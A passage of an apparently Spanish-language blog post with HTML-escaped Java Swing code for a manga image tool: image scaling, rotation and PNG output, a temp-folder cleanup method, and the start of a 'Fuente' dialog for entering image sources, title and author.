class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;width = buffy.getWidth();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;height = buffy.getHeight();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if (maxsize != 0 &amp;amp;&amp;amp; width * height &amp;gt; maxsize) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;double sqrt = Math.sqrt(((double) maxsize)/((double)(buffy.getWidth() * buffy.getHeight())));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;width = (int) (((double) width) * sqrt);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;height = (int) (((double) height) * sqrt);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if (width != buffy.getWidth() || height != buffy.getHeight()) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;img = buffy.getScaledInstance(width, height, java.awt.Image.SCALE_AREA_AVERAGING);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;img = buffy.getSubimage(0, 0, width, height);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;imagen = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;((java.awt.Graphics2D) imagen.getGraphics()).setRenderingHint(&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;((java.awt.Graphics2D) imagen.getGraphics()).setRenderingHint(&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;RenderingHints.KEY_ALPHA_INTERPOLATION, RenderingHints.VALUE_ALPHA_INTERPOLATION_QUALITY);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;((java.awt.Graphics2D) imagen.getGraphics()).setRenderingHint(&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;((java.awt.Graphics2D) imagen.getGraphics()).setRenderingHint(&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;RenderingHints.KEY_RENDERING, RenderingHints.VALUE_RENDER_QUALITY);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;((java.awt.Graphics2D) imagen.getGraphics()).drawImage(img, 0, 0, width, height, null);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;((java.awt.Graphics2D) imagen.getGraphics()).dispose();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if (!rotar) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;javax.imageio.ImageIO.write(imagen, "png", new File(nombre));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;buffy = new BufferedImage(imagen.getHeight(), imagen.getWidth(), BufferedImage.TYPE_INT_RGB);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;(new AffineTransformOp( AffineTransform.getRotateInstance(Math.toRadians(90),&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;((double) imagen.getHeight()) / 2.0f, ((double) imagen.getHeight()) / 2.0f),&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;AffineTransformOp.TYPE_BILINEAR)).filter(imagen, buffy);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;javax.imageio.ImageIO.write(buffy, "png", new File(nombre));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private void borrarTmp(File dir) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if (dir.listFiles() == null) { return;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;for (int i = 0; i &amp;lt; dir.listFiles().length; i++) {&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if (dir.listFiles()[i].isDirectory()) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;borrarTmp(dir.listFiles()[i]);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;dir.listFiles()[i].delete();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Clase Fuente&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.BorderFactory;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JButton;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JScrollPane;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JTable;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JTextField;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.table.DefaultTableModel;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Fuente extends javax.swing.JDialog {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private int fila;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;private JButton btnAccion;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private JPanel pPal;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private JPanel lPrevio;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private JTextField origen, titulo, autor;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;int indice = 0, caracter;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private javax.swing.JFileChooser chooser;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private final DefaultTableModel mOri = new DefaultTableModel(new String[] { "Ruta Origen" }, 0) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;          &lt;/span&gt;public Class getColumnClass(int columnIndex) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;           &lt;/span&gt;return JTextField.class;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;          &lt;/span&gt;} };&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private final JTable tOri= new JTable(mOri);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private JScrollPane scroll;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Fuente(final boolean tpFuente, int selectedRow, final javax.swing.table.DefaultTableModel modelo) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;super((new Principal()), "Fuente de Imagenes", false);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;//setLocationByPlatform(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setIconImage(java.awt.Toolkit.getDefaultToolkit().getImage(getClass().getResource("/otros/manga.png")));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;fila = selectedRow; // setUndecorated(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal = new JPanel() {/*&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;protected void paintComponent(java.awt.Graphics g) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;((java.awt.Graphics2D)g).drawRoundRect(0, 0, getWidth() - 1, getHeight() - 1, 20, 20);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;((java.awt.Graphics2D)g).clip(new java.awt.geom.RoundRectangle2D.Float(0,0,getWidth(),getHeight()-1,12,12));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}*/&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;};// pPal.setBorder(BorderFactory.createLineBorder(java.awt.Color.DARK_GRAY, 2));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if(!tpFuente) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;initDirectorio();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if (!modelo.getValueAt(fila, modelo.findColumn("Origen")).toString().equalsIgnoreCase("[]")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;origen.setText(modelo.getValueAt(fila, modelo.findColumn("Origen")).toString());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} else {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;initURL();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if (!modelo.getValueAt(fila, modelo.findColumn("Origen")).toString().equalsIgnoreCase("[]")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;java.util.Iterator it = ((java.util.Vector)(modelo.getValueAt(indice, modelo.findColumn("Origen")))).iterator();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;while(it.hasNext()) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;mOri.addRow(new String[] {it.next().toString()});&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;scroll.setPreferredSize(new java.awt.Dimension(525, 21 + 16*(tOri.getRowCount())));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;setSize(getWidth(), getHeight()+16*(tOri.getRowCount()-1));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} else { mOri.addRow(new String[] {""}); }&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;((java.util.Vector)(modelo.getValueAt(fila, modelo.findColumn("Origen")))).removeAllElements();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(new javax.swing.JLabel("Titulo"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(titulo = new JTextField(modelo.getValueAt(fila, modelo.findColumn("Titulo")).toString(), 15));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(new javax.swing.JLabel("Autor"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(autor = new JTextField(modelo.getValueAt(fila, modelo.findColumn("Autor")).toString(), 15));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;JPanel pBtns = new JPanel();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pBtns.setBorder(BorderFactory.createLineBorder(java.awt.Color.DARK_GRAY, 1));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnAccion = new JButton("Agregar y Regresar a Lista");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnAccion.addMouseListener(new java.awt.event.MouseAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseClicked(java.awt.event.MouseEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (!tpFuente) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;((java.util.Vector)(modelo.getValueAt(fila, modelo.findColumn("Origen")))).addElement(origen.getText());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;for (int i = 0; i &amp;lt; mOri.getRowCount(); i++) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if(!mOri.getValueAt(i, mOri.findColumn("Ruta Origen")).toString().equalsIgnoreCase("")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;((java.util.Vector)(modelo.getValueAt(fila, modelo.findColumn("Origen")))).addElement(mOri.getValueAt(i, mOri.findColumn("Ruta Origen")).toString());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.setValueAt(titulo.getText(), fila, modelo.findColumn("Titulo"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.setValueAt(autor.getText(), fila, modelo.findColumn("Autor"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.setValueAt("Tratar", fila, modelo.findColumn("Estado"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.addRow(modelo.getDataVector());&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;dispose();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pBtns.add(btnAccion);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnAccion = new JButton("Agregar y Crear Otro");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;btnAccion.addMouseListener(new java.awt.event.MouseAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseClicked(java.awt.event.MouseEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if (!tpFuente) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;((java.util.Vector)(modelo.getValueAt(fila, modelo.findColumn("Origen")))).addElement(origen.getText());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;for (int i = 0; i &amp;lt; mOri.getRowCount(); i++) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;if(!mOri.getValueAt(i, mOri.findColumn("Ruta Origen")).toString().equalsIgnoreCase("")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;((java.util.Vector)(modelo.getValueAt(fila, modelo.findColumn("Origen")))).addElement(mOri.getValueAt(i, mOri.findColumn("Ruta Origen")).toString());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.setValueAt(titulo.getText(), fila, modelo.findColumn("Titulo"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.setValueAt(autor.getText(), fila, modelo.findColumn("Autor"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.setValueAt("Tratar", fila, modelo.findColumn("Estado"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.addRow(modelo.getDataVector());&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;fila++;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;modelo.setValueAt(tpFuente, fila, modelo.findColumn("En Linea"));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pBtns.add(btnAccion);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;pPal.add(pBtns, java.awt.BorderLayout.SOUTH);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;add(pPal);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setVisible(true);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private void initURL() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;setSize(550, 150);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;scroll = new JScrollPane(tOri);&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;scroll.setPreferredSize(new java.awt.Dimension(525, 21 + 16));&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;tOri.addKeyListener(new java.awt.event.KeyAdapter() {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void keyPressed(java.awt.event.KeyEvent e) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;try {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if(e.getKeyCode() == 